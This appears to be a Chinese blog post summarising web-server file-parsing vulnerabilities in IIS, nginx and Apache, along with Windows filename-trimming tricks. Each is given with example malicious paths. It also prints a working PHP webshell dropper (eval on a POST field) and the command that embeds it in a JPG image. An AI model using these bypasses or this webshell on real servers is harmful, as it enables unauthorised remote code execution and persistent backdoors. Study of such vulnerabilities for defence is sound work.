常见的服务器有 IIS、apache、nginx,其中又分同一服务器不同版本的解析漏洞,下面也是我从网上找的一些文档,整合总结到一起的。
### 1、IIS 5.x 6.0
1、目录解析
example:www.xxx.com/xxx.asp/xxx.jpg
IIS服务器会把.asp .asa目录下的文件都解析成asp文件。其中xxx.jsp可以是任意后缀的文件,但是里面的内容是webshell脚本。
2、文件解析
example:www.xxx.com/xxx.asp;.jpg
分号后面的不解析,所以最后解析的文件就变成了xxx.asp
3、IIS 6.0除了asp还可以解析 .asa .cer .cdx类型的文件
例如:/xxx.asa/xxx.jpg, /xxx.cer/xxx.jpg, /xxx.cdx/xxx.jpg
### IIS 7.0,IIS 7.5,Nginx <8.03
在Fast-CGI开启的状态下,在类似xxx.jpg后面加上/xxx.php,变成/xxx.jpg/xxx.php路径会解析成PHP文件。
将xxx.txt文本文件中的后门代码写入到xxx.jpg图片的二进制代码:
copy xxx.jpg/b + xxx.txt/a zzz.jpg
xxx.txt的文件内容为:
```
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
```
然后访问 www.xxx.com/xxx.jpg/.php,就会在当前目录下生成一句话木马shell.php
### nginx < 8.03 空字节代码执行漏洞
在Fast-CGI关闭的状态下,文件路径 /xxx.jpg%00.php 会解析成PHP文件
### IIS7.5解析漏洞
这个漏洞与nginx的类似,在php配置文件中开启了cgi.fix_pathinfo,这是PHP的配置问题。
### apache解析漏洞
apache在解析类似 shell.php.xxx.rar的文件时,是从右往左开始解析,如果遇到不认识的后缀名,就在往左解析,rar无法解析,接着往左判断xxx也不可解析,最后到PHP后缀
example:www.xxx.com/shell.php.xxx.rar
除了PHP后缀外,php|php3|phtml也可以被apache解析
### Windows绕过
在windows操作系统下,xxx.jpg[空格],xxx.jpg. 这两种命名方式,在win下会默认去掉空格和点,变成xxx.jpg格式。
注:Linux可以允许此类命名文件存在。
参考资料:
[解析漏洞总结](http://wooyun.jozxing.cc/static/drops/papers-539.html)
[服务器解析漏洞](https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/)
[文件解析漏洞总结-Apache](https://blog.csdn.net/wn314/article/details/77074477)
[文件解析漏洞总结-Nginx](https://blog.csdn.net/wn314/article/details/77388289)
[文件解析漏洞总结-IIS](https://blog.csdn.net/wn314/article/details/77388337)